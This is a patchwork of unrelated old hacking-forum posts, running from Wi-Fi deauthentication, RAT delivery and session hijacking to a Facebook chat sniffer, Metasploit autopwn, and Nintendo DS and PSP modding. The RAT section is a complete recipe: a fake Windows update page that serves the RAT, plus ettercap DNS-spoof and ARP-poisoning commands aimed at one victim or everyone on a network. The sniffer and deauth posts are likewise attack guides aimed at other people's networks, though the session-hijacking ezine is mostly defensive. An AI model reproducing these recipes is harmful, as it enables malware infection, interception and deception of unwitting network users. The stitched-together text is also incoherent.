"Airbomb"

Airdrop-ng tutorial - Rule Based Deauth

This tutorial is based in backtrack4 and i'll assume you are competent with linux to the standard this tutorial requires. You must also have a packet injection/monitor mode supported wireless interface.

Capturing Your Surrounding's
First we need to capture the wireless activity in the area.

airmon-ng [to check the interface you will be using]
airmon-ng start wlan0 [starts the interface 'wlan0', change it accordingly]
airodump-ng mon0 -w capture --output-format csv ['mon0' is your interface in monitor mode, and csv is the output filetype of the captured information with a filename in this example of 'capture']

This step you can do previous to capturing the file if you have a specific target you know the MAC address of, but normally is done afterwards so you can review the output in the terminal of airodump-ng [last command above].

MAC Rules Info
We need to understand a basic formula for how the 'rules' work within airdrop-ng, a = allow whereas d = deny, I know rocket science isn't it lol. This is where it gets to the good bit. The format of each rule whether it's allow or deny access is allow(a) or deny(d) then bssid's MAC followed by the client's MAC. Below are example of how it would look.


Allow rule: a/bssid MAC ['any']|slave's MAC ['any']

Deny rule: d/bssid MAC ['any']|slave's MAC ['any']

However, you may wonder what the 'any' is for. Well if you decide you don't want anyone to connect to a bssid then you would put this for example:

d/00:11:22:33:44:55|any [00:11:22:33:44:55 being the bssid you wish to alienate]

To do the opposite and allow a MAC to not connect to anything:

d/any|00:11:22:33:44:55 [00:11:22:33:44:55 being in this example the client you wish to block.

Implementing MAC Rules
To put the rules in place we need to setup a 'rules' file which airdrop will read and implement the rules from. To add rules to the file we do so thus:

echo '#D' > rules && echo 'd/any|xy:xy:xy:xy:xy:xy' >> rules [this command will create the file 'rules' on your desktop and enter the above rule under the heading '#D']

The contents will look like this [remember i'm using D to remind you this is Deny!!
#D
d/any|xy:xy:xy:xy:xy:xy

Running Airdrop-ng
Installing Airdrop through synaptic is what i'll advise you to do as it places everything in the right place for you to follow this tutorial. Navigate using terminal to the airdrop directory:
cd /pentest/wireless/airdrop-ng/

Once there we start airdrop-ng:
airdrop-ng -i mon0 -t /capture.csv -r /rules [-i = interface, -t = capture file and -r = rules file. You can also run a rule debugging mode which is activated by using -b after rules e.g. airdrop-ng -i mon0 -t /capture.csv -r /rules -b]

We next have to understand a very important concept in the rules file reading process done by airdrop-ng. The program reads from top to bottom so allow rules applying to a specific MAC but come before deny rules applying to the same MAC. Using another example i'll demonstrate.

#D
d/xy:xy:xy:xy:xy:xy|any [we've now blocked all access to a AP/bssid, but then we decide we want a specific MAC only to connect to it. This must but done as shown below].

#A
a/xy:xy:xy:xy:xy:xy|yz:yz:yz:yz:yz:yz
#D
d/xy:xy:xy:xy:xy:xy|any

As you can see above our original rule of denying every connection to the AP is below the rule to grant/allow access to the one MAC/client. This must be done in this format!! To make alterations to the rules file use for following command:

nano rules [you can use other text editor's but I prefer nano, it's down to personal preference]

Note: alot of cases have been reported on a few forums of airdrop not responding to more than the 1st allow rule. So have one allow and the rest denials.

OUI [Organizationally Unique Identifier] Hardware names
Airdop also had the function to allow or deny based on the OUI and hardware names [but not to the same extent]. It is implmented in the same way as the MAC's, I won't be giving out a tutorial on this part because it's had hit and miss results and i've not personally tried it only the MAC deauth.
However, the OUI list is located below:
nano /pentest/wireless/airdrop-ng/support/oui.txt

To update the OUI list use:
airdrop-ng -u

How does this tutorial help you?
If you combine my other tutorial on SSL sniffing and SoftAP's with this, you could hijack someones AP, route traffic through your softAP using their connection, ban all access to the original AP and palm your AP off as the original using the airdrop-ng rule system.

Get your R.A.T onto a pc

This is how to get someone to download your rat if you're on the same network

This isn't supposed to be some amazing tutorial. I just want to have this so I don't have to keep answering he same damn question over and over again..

Start by downloading backtrack 4 and burning the iso.

Code:

http://www.remote-exploit.org/backtrack_download.html

Boot into backtrack and open the file browser, and browse to /var/www/. There will be file called index.html.
Open it with kate (or some other text editor) delete the code that is in there and copy in the following code.

Code:

<body>
<p align="center" class="style2">Critical Vulnerability in Windows XP, Vista, Windows 2000 detected. Download and installation of upgrade required. </p>
<p align="center">
<input align="center" type="button" name="Button" value="Download Update" onClick="window.open('/windowsupdate.exe', 'download'); return false;">
</p>
<p align="center" class="style2"></p>
<p>&nbsp;</p>
<form id="form1" name="form1" method="post" action="/upgrade.exe">
<label for="D"></label>
</form>
<p align="left" class="style4">&nbsp;</p>
</body>
</html>

Now copy your rat into the same directory and name it windowsupdate.exe

Start apache

Code:

/etc/init.d/apache2 start

open firefox and navigate to 127.0.0.1. Your fake update page should show up.

Now set up the dns_spoofing configuraton

Code:

echo "* A 192.168.1.101" >> /usr/share/ettercap/etter.dns

Replace 192.168.1.101 with your own ip (ifconfig)

Use nmap to find your target ip

Code:

nmap -sP your_subnet/24

Now arp-poison with ettercap using the dns_spoof plugin.

Code:

ettercap -T -i wlan0 -M arp:remote /192.168.1.1/ /192.168.1.102/ -P dns_spoof

replace 192.168.1.102 with your target's ip.
replace 192.168.1.1 with your gateway ip.
replace wlan0 with your interface.

If you want to target everyone on the network you can use the following command.

Code:

ettercap -T -i wlan0 -M arp:remote /192.168.1.1/ // -P dns_spoof

Now every time they try to navigate to a web page, they will be redirected to your update page.
Some people will be suspicious but after 5 min of not being able to browse, anyone will give in.

Once you get remote access stop ettercap right away and run the following command in the target computer's cmd.

Code:

ipconfig /flushdns

This will let them browse again.

Session Hijacking Basic[Ezine]

Session Hijacking Basic

__               _                      _  _            _    _             
/ _\ ___  ___ ___(_) ___  _ __     /\  /(_)(_) __ _  ___| | _(_)_ __   __ _ 
\ \ / _ \/ __/ __| |/ _ \| '_ \   / /_/ / || |/ _` |/ __| |/ / | '_ \ / _` |
_\ \  __/\__ \__ \ | (_) | | | | / __  /| || | (_| | (__|   <| | | | | (_| |
\__/\___||___/___/_|\___/|_| |_| \/ /_/ |_|/ |\__,_|\___|_|\_\_|_| |_|\__, |
                                         |__/                         |___/ 
             Basic

# language: English
# Title: Session Hijacking Basic
# Date: 2011-01-13
# Author: Filipe Barros/@barros_filipe 

| +01 - Session Fixation
| +02 - Session Hijacking
| +03 - Firesheep

Have fun :)

====== +01 - Session Fixation ======

The attacker attempts to gain access to another user's session by posing as that user.

The information for an attacker is the session identifier, because this is required for any impersonation attack. There are three common methods used to obtain a valid session identifier:

* Fixation

* Capture

* Prediction

Prediction refers to guessing a valid session identifier. With PHP's native session mechanism, the session identifier is extremely random, and this is unlikely to be the weakest point in your implementation.

Because session identifiers are typically propagated in cookies or as GET variables, the different approaches focus on attacking these methods of transfer. While there have been a few browser vulnerabilities regarding cookies, these have mostly been Internet Explorer, and cookies are slightly less exposed than GET variables. for those users who enable cookies, you can provide them with a more secure mechanism by using a cookie to propagate the session.

Fixation is the simplest method of obtaining a valid session identifier. While it's not very difficult to defend against, if your session mechanism consists of nothing more than session_start(), you are vulnerable.

To demonstrate session fixation, I'll use the following script, session-hijacking.php:

[ Begin PHP CODE ]

<?php

session_start();

if (!isset($_SESSION['visits']))
{
    $_SESSION['visits'] = 1;
}
else
{
    $_SESSION['visits']++;
}

echo $_SESSION['visits'];

?>

[ End PHP CODE ]

First make sure that you do not have an existing session identifier (perhaps delete your cookies), then visit this page with ?PHPSESSID=123456789 appended to the URL. Next, with a completely different browser (or even a completely different computer), visit the same URL again with ?PHPSESSID=123456789 appended. You will notice that you do not see 1 output on your first visit, but rather it continues the session you previously initiated.

If there isn't an active session associated with a session identifier that the user is presenting, then regenerate it just to be sure:

[ Begin PHP CODE ]

<?php

session_start();

if (!isset($_SESSION['initiated']))
{
    session_regenerate_id();
    $_SESSION['initiated'] = true;
}

?>

[ End PHP CODE ]

The problem with such a simplistic defense is that an attacker can simply initialize a session for a particular session identifier and then use that identifier to launch the attack.

====== +02 - Session Hijacking ======

If your session mechanism have only session_start(), you are vulnerable.

With the most simplistic session mechanism, a valid session identifier is all that is needed to successfully hijack a session. In order to improve this, we need to see if there is anything extra in an HTTP request that we can use for extra identification.

Recall a typical HTTP request:

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=123456789
Only the Host header is required by HTTP/1.1, so it seems unwise to rely on anything else. However, consistency is really all we need, because we're only interested in complicating impersonation without adversely affecting legitimate users.

Imagine that the previous request is followed by a request with a different User-Agent:

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla Compatible (MSIE)
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=123456789

Although the same cookie is presented, should it be assumed that this is the same user? It seems highly unlikely that a browser would change the User-Agent header between requests, right? Let's modify the session mechanism to perform an extra check:

[ Begin PHP CODE ]

<?php

session_start();

if (isset($_SESSION['HTTP_USER_AGENT']))
{
    if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
    {
        /* Prompt for password */
        exit;
    }
}
else
{
    $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}

?>

[ End PHP CODE ]

Now an attacker must not only present a valid session identifier, but also the correct User-Agent header that is associated with the session. This complicates things slightly, and it is therefore a bit more secure.

Imagine if we required the user to pass the MD5 of the User-Agent in each request. An attacker could no longer just recreate the headers that the victim's requests contain, but it would also be necessary to pass this extra bit of information. While guessing the construction of this particular token isn't too difficult, we can complicate such guesswork by simply adding an extra bit of randomness to the way we construct the token:

<?php

$string = $_SERVER['HTTP_USER_AGENT'];
$string .= 'SHIFLETT';

/* Add any other data that is consistent */

$fingerprint = md5($string);

?>

Keeping in mind that we're passing the session identifier in a cookie, and this already requires that an attack be used to compromise this cookie (and likely all HTTP headers as well), we should pass this fingerprint as a URL variable. This must be in all URLs as if it were the session identifier, because both should be required in order for a session to be automatically continued (in addition to all checks passing).

In order to make sure that legitimate users aren't treated like criminals, simply prompt for a password if a check fails. If there is an error in your mechanism that incorrectly suspects a user of an impersonation attack, prompting for a password before continuing is the least offensive way to handle the situation. In fact, your users may appreciate the extra bit of protection perceived from such a query.

There are many different methods you can use to complicate impersonation and protect your applications from session hijacking. Hopefully you will at least do something in addition to session_start() as well as be able to come up with a few ideas of your own.

====== +03 - Firesheep ======

Recently a firefox extension called Firesheep has exploited and made it easy for public wifi users to be attacked by session hijackers. Websites like Facebook, Twitter, and any that the user adds to their preferences allow the firesheep user to easily access private information from cookies and threaten the public wifi users personal property.

Firesheep is free, open source, and is available now for Mac OS X and Windows. Linux support is on the way.

Websites have a responsibility to protect the people who depend on their services. They've been ignoring this responsibility for too long, and it's time for everyone to demand a more secure web. My hope is that Firesheep will help the users win.

Thanks!

:)

© Offensive Security 2011

[Version 0.3] Facebook chat sniffer

I threw this together in class yesterday because facebook was kicking me out when i tried to session hijack.

Version 0.3 http://pastebin.com/qNGuK9ix

save to fbsniff.py, set permissions, copy to sbin

Code:

chmod 755 fbsniff.py
cp fbsniff.py /usr/sbin/fbsniff

start the sniffer

Code:

tshark -i <interface> -w out.cap

start fbsniff

Code:

fbsniff -c out.pcap -l

you can also run it with a basic message filters

Code:

fbsniff -c out.pcap -f "Keegan,Test"

start ettercap

Code:

ettercap -T -M arp -i <interface> // // -P autoadd

BT5 + Metasploit + postgresql (works for me)

i'm working in this mode :

root@bt:~# apt-get install postgresql
root@bt:~# sudo apt-get install libpgsql-ruby
root@bt:~# sudo su postgres
sh-4.1$ createuser root -P
could not change directory to "/root"
Enter password for new role:
Enter it again:
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
sh-4.1$ createdb --owner=root metasploit
could not change directory to "/root"
exit
sh-4.1$ exit
exit
root@bt:~# msfconsole
msf > db_driver postgresql[*] Using database driver postgresql
msf > db_connect root:toor@127.0.0.1:5432/metasploit
db_workspace -a MyProject
*] Added workspace: MyProject
msf > db_nmap 192.168.1.165 -sS -O[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-05-14 15:27 CEST[*] Nmap: Nmap scan report for hackdany-cecb3e.homenet.telecomitalia.it (192.168.1.165)[*] Nmap: Host is up (0.00055s latency).[*] Nmap: Not shown: 997 closed ports[*] Nmap: PORT STATE SERVICE[*] Nmap: 135/tcp open msrpc[*] Nmap: 139/tcp open netbios-ssn[*] Nmap: 445/tcp open microsoft-ds[*] Nmap: MAC Address: 08:00:27:F1:F2:8F (Cadmus Computer Systems)[*] Nmap: Device type: general purpose[*] Nmap: Running: Microsoft Windows XP[*] Nmap: OS details: Microsoft Windows XP SP2 or SP3[*] Nmap: Network Distance: 1 hop[*] Nmap: OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 3.56 seconds
msf > db_autopwn -p -e -q[*] (1/51 [0 sessions]): Launching exploit/windows/dcerpc/ms03_026_dcom against 192.168.1.165:135...[*] (2/51 [0 sessions]): Launching exploit/freebsd/samba/trans2open against 192.168.1.165:139...[*] (3/51 [0 sessions]): Launching exploit/linux/samba/chain_reply against 192.168.1.165:139...[*] (4/51 [0 sessions............................etc...etc...et c
the work is perfect (FOR ME)
bye

Modding Golden Eye:rogue agent (concept of making halo)

Required Tools
Dslazy
TilEd 2002
sseq2mid
Kiwi Ds Editor
A Hex Editor

FIRST STEP

extract your clean rom (unedited) with dslazy

Now you will have folders and files like this:

NDS_EXTRACT
data
overlay
header.bin
y7.bin
y9.bin
arm7.bin
arm9.bin
banner.bin


Editing The Games Icons

go to the data folder, inside the data folder there are many other folders,
to get to the icons go to the folder icons (surprised?)
try to preview one... (it wont work)
they aren't in the average windows format,

to edit them use tiled2002

Using TilEd 2002
Open up TilEd 2002
now click the Browser button (where the file button normally is)
Then click Open
navigate to your icons
(dslazy/NDS_EXTRACT/data/icons)
they wont show up,
click where it says all compadible roms then click all files
then open up a icon (e.g DrNo.ico)
a jumble of random colors apears,
to fix this click SNES 4bb (see picture)

IMG

now you should get a picture like this image shows
IMG
to fix colors press buton indicated in previous picture.
(note this isn't the right pallette, could someone please make one?)

copy tiles to editer window then select paint mode
and edit in the editer window

(these arn't the virtual trainning icons... they are the ones that pop up when you have to verse "xenia onnatop" and other charachtors in campaighn.)

Text Editing
Objectives and stuff...
Editing Level Objectives Text
I will use Fort Knox as an Example
go to:
dslazy\NDS_UNPACK\data\Levels\1_0_FortKnox
open 1_0_Crash.txt with notepad
now type in the new message (in the same space as the old one)
(try to keep similar length, otherwise falls of screen)
(for more space delete the empty lines between text (but not above the text!))
also works on all the other txt files in the level folders

Editing In Game Text
Remember this txt from level 1?

CODE

YOUR PERSONAL SIDEARM, THE SPEC 9, IS CURRENTLY EQUIPPED IN YOUR RIGHT HAND. PRESS THE R BUTTON TO FIRE YOUR RIGHT HAND WEAPON...PRESS THE L BUTTON TO THROW GRENADES OR FIRE YOUR LEFT HAND WEAPON. YOUR GRENADES WILL BE HOLSTERED UNTIL YOU SWITCH BACK TO THEM BY DOUBLE TOUCHING THE LEFT WEAPON ICON.

OR Even

CODE

NUCLEAR DEVICE LOCATED! NOW DEFUSE IT!

its in Templates.Crt
open templates.crt in your hex editer then press CTR+F and search for the string you want (e.g "NUCLEAR DEVICE" or "YOUR PERSONAL" for guns just search for their names e.g "JACKAL")
edit to your every will (without adding extra hex bytes!), and thats a little more of this game hacked...

EXAMPLE IMAGES:
IMG1
IMG2
(You can edit some of this directly through the rom but it shows a message on boot up something like "Menus Edited Please Recompile")


Editing The Games Music/Sound
I'm not too sure about this but heres some info i got off the net

Extracting SDAT files
in dslazy/NDS_EXTRACT/data/Sounds there are some files (Sound_All.sdat ect)
open Kiwi Ds's Editor
then click File/open
navigate to dslazy/NDS_EXTRACT/data/Sounds
open file you want to extract,
it will then show upon the editor,
double click it.
this should bring up a new window, now select all.
then click extract selected.

Repacking SDAT files
open Kiwi Ds's Editor
then click Tools/Make SDAT
clck source files foledr (the ... button)
then navigate to the extracted files directory

Converting SSEQ to MIDI

copy SEQ_MUSIC0.sseq (exsample) to the sseq2mid-20070314\bin
create a new bat/batche file insert this code

CODE

sseq2mid.exe -1 SEQ_MUSIC0.sseq
pause

this will give you a MID file,

Converting MIDI to SSEQ
kiwids released a program called mid2sseq, (link)
will use soon

Model Swapping Data
incorrect model swapping will cause the game to freeze,

your guns are labeled like 'ar4_commando.nsbmd'
your enemys guns are labeled like 'npc_assault_rifle.nsbmd'

i will work on a model swapping compadability list...
(probably on my own site so i can work in html)
Swapping Jackal and spec9 works (animations work to : shoot and reload)
replacing the minigun with 50 caliber machine freezes the game
this could be due to animation file incompadibilitys...

got me a PSP 1001 black (x2)

Yes, 2 psps with out battery but I do have charger for it, but I don't have Memory Stick Duo im going to buy one from my friend at July 16. Then when I get into psp game making im going to make Halo 2 PSP. Uses halo 2 sounds, and models from custom edition this should make it h2 version.